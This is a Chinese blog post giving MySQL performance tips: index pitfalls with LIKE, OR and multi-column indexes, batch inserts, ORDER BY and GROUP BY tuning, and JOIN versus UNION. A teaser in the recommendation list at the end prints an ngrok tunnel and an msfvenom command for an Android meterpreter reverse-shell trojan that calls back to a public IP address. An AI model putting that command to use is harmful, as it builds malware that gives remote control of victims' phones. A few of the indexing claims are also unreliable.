SQL性能优化的几点建议
1. 索引:
索引可以提高查询的速度,但不是使用带有索引的字段查询时,索引都会起作用,如下几种特殊情况下,有可能使用带有索引的字段查询时,索引没有起作用:
1)使用LIKE关键字的查询语句
如果匹配字符串的第一个字符为“%”,索引不会起作用,只有“%”不在第一个位置,索引才会起作用
2)使用多列索引的查询语句
Mysql可以为多个字段创建索引,一个索引可以包括16个字段,对于多列索引,只有查询条件中使用了这些字段中的第一个字段后时,索引才会被使用。
3)使用OR关键字的查询语句
查询语句的查询条件中只有OR关键字,且OR前后两个条件中的列都是索引时,查询中才使用索引,否则查询将不使用索引。
2. 不同SQL语句的优化方法
1)INSERT语句
a) 一次性批次插入多行数据与多次分别插入相比,将大大缩短客户端与服务器之间的连接和关闭等操作,如:
insert into books values (1,"book1"), (2, "book2"), (3, "book3");
b) 通常可以锁定表以加速插入数据,如下:
lock tables books;
insert into books values (1,"book1"), (2, "book2"), (3, "book3");
unlock tables;
2) ORDER BY语句
通常使用索引来对ORDER BY语句进行优化,几个常用的例子如下:
a) ORDER BY + LIMIT 组合的索引进行优化,如:
select id, name, age from user order by id limit 0,15; ---只需在id上建立索引即可
b) WHERE + ORDER BY + LIMIT 组合的索引优化,如:
select id, name, age from user where name="lilei" order by id limit 0,15;---此时如果只对id添加索引,效率不是很高,此时可以建立一个联合索引(id,name)
c) 不要对WHERE 和 ORDER BY的选项使用表达式或者函数,如:
select id, name, age from user order by max(id) limit 0,15;
下面这几种情况下不适合使用索引:
a)ORDER BY的字段使用 asc、desc
b) WHERE 子句使用的字段和ORDER BY的字段不一致,如:
select id, name, age from user where name="lilei" order by id;
c) 对不同给的关键字使用ORDER BY排序,如:
select id, name, age from user order by id, name;
3) GROUP BY语句
使用GROUP BY语句时,Mysql会对符合的结果自动排序,通过扫描整个表并创建一个新的临时表,表中每个组的所有行应为连续的,然后使用该临时表来找到组并应用累计行数,
在某些情况下,Mysql可以通过索引访问而不使用临时表。通过制定 GROUP BY NULL来禁止排序, 从而可以节省损耗。
4)优化嵌套查询
可以使用连接(JOIN)来代替子查询(内层嵌套的select语句),连接查询不需要建立临时表,其查询速度比子查询要快,如果查询中使用索引的话,性能会更好。
补充一下join及union的区别:
(1)union对两张表的操作是合并数据条数,等于是纵向的,要求是两张表字段必须是相同,
也就是说如果A表中有三条数据,B表中有两条数据,那么A union B就会有五条数据。
(union 和union all的差别,对于union如果存在相同的数据记录会被合并,而union all不会合并相同的数据记录,该有多少条记录就会有多少条记录。)
(2)join偏于横向的联合。join跟union比起来显得更宽松,对两个表的字段不做要求,没有限制条件的join等于两个表的笛卡尔乘积,所有join需要有限制条件来约束,经过限制的join就是横向的扩张了。
5)优化OR条件
对于使用OR条件的子查询,如果要使用索引,则OR之间的每个条件列都必须使用到索引,创建索引后,是对OR的各个字段在查询结果后在进行UNION操作。
SQL性能优化的几点建议的更多相关文章
- SQL性能优化
引言: 以前在面试的过程中,总有面试官问道:你做过sql性能优化吗?对此,我的答复是没有.一次没有不是自己的错误,两次也不是,但如果是多次呢?今天痛下决心,把有关sql性能优化的相关知识总结一下,以便 ...
- SQL Select count(*)和Count(1)的区别和执行方式及SQL性能优化
SQL性能优化:http://www.cnblogs.com/CareySon/category/360333.html Select count(*)和Count(1)的区别和执行方式 在SQL S ...
- ORACLE数据库学习之SQL性能优化详解
Oracle sql 性能优化调整 ...
- SQL 性能优化 总结
SQL 性能优化 总结 (1)选择最有效率的表名顺序(只在基于规则的优化器中有效): ORACLE的解析器按照从右到左的顺序处理FROM子句中的表名,FROM子句中写在最后的表(基础表 driving ...
- SQL性能优化前期准备-清除缓存、开启IO统计
文章来至:https://www.cnblogs.com/Ren_Lei/p/5669662.html 如果需要进行SQl Server下的SQL性能优化,需要准备以下内容: 一.SQL查询分析器设置 ...
- Oracle SQL性能优化技巧大总结
http://wenku.baidu.com/link?url=liS0_3fAyX2uXF5MAEQxMOj3YIY4UCcQM4gPfPzHfFcHBXuJTE8rANrwu6GXwdzbmvdV ...
- sql性能优化浅谈
sql性能优化总结: 最近随着数据越来越多,数据库性能问题暴露的越来越严重.几百万,上千万,甚至过亿的数据处理速度会非常的慢. 下面对工作中遇到的问题做下总结,希望以后能对日后的工作有所帮助. 不同的 ...
- SQL性能优化技巧
作者:IT王小二 博客:https://itwxe.com 这里就给小伙伴们带来工作中常用的一些 SQL 性能优化技巧总结,包括常见优化十经验.order by 与 group by 优化.分页查询优 ...
- SQL性能优化常见措施(Lock wait timeout exceeded)
SQL性能优化常见措施 目 录 1.mysql中explain命令使用 2.mysql中mysqldumpslow的使用 3.mysql中修改my.ini配置文件记录日志 4.mysql中如何加索引 ...
随机推荐
- msfconsole弄外网手机木马
创建个通道./ngrok tcp 1113 msfvenom -p android/meterpreter/reverse_tcp LHOST=52.15.62.13 LPORT=17016 R &g ...
- HDU 2084 数塔(简单DP入门)
数塔 Time Limit: 1000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total Submiss ...
- hihoCoder #1498 : Diligent Robots【数学】
#1498 : Diligent Robots 时间限制:10000ms 单点时限:1000ms 内存限制:256MB 描述 There are N jobs to be finished. It t ...
- [51nod1373]哈利与他的机械键盘
作为一名屌丝程序员,机械键盘是哈利梦寐以求的神器.终于,在除夕夜的时候,他爸爸送了他一个机械键盘. 哈利的键盘与我们平常所见到的的键盘不一样,我们可以认为他的键盘是一个500*500的矩形,其中26个 ...
- dijk
.....................用矩阵存..................... 1 int mp[N][N]; bool p[N]; int dist[N]; void dijk(int ...
- powerdesign
- Spider_Man_2 の requests模块
一:自我介绍
- redis学习笔记(14)---redis基本命令总结
http://doc.redisfans.com/ 网页,对所有redis命令的用法与示例进行了详细的描述 概述 Redis的键值可以使用物种数据类型:字符串,散列表,列表,集合,有序集合.本文详细介 ...
- 数据结构与算法(c++)——双缓存队列
"双缓存队列"是我在一次开发任务中针对特殊场景设计出来的结构.使用场景为:发送端持续向接收端发送数据包--并且不理会接收端是否完成业务逻辑.由于接收端在任何情况下停止响应即可能产生 ...
- Linuxc - 执行c程序
1.新建工作空间 root@jiqing-virtual-machine:~/cspace/les1# pwd /root/cspace/les1 2.新建c程序 root@jiqing-virtua ...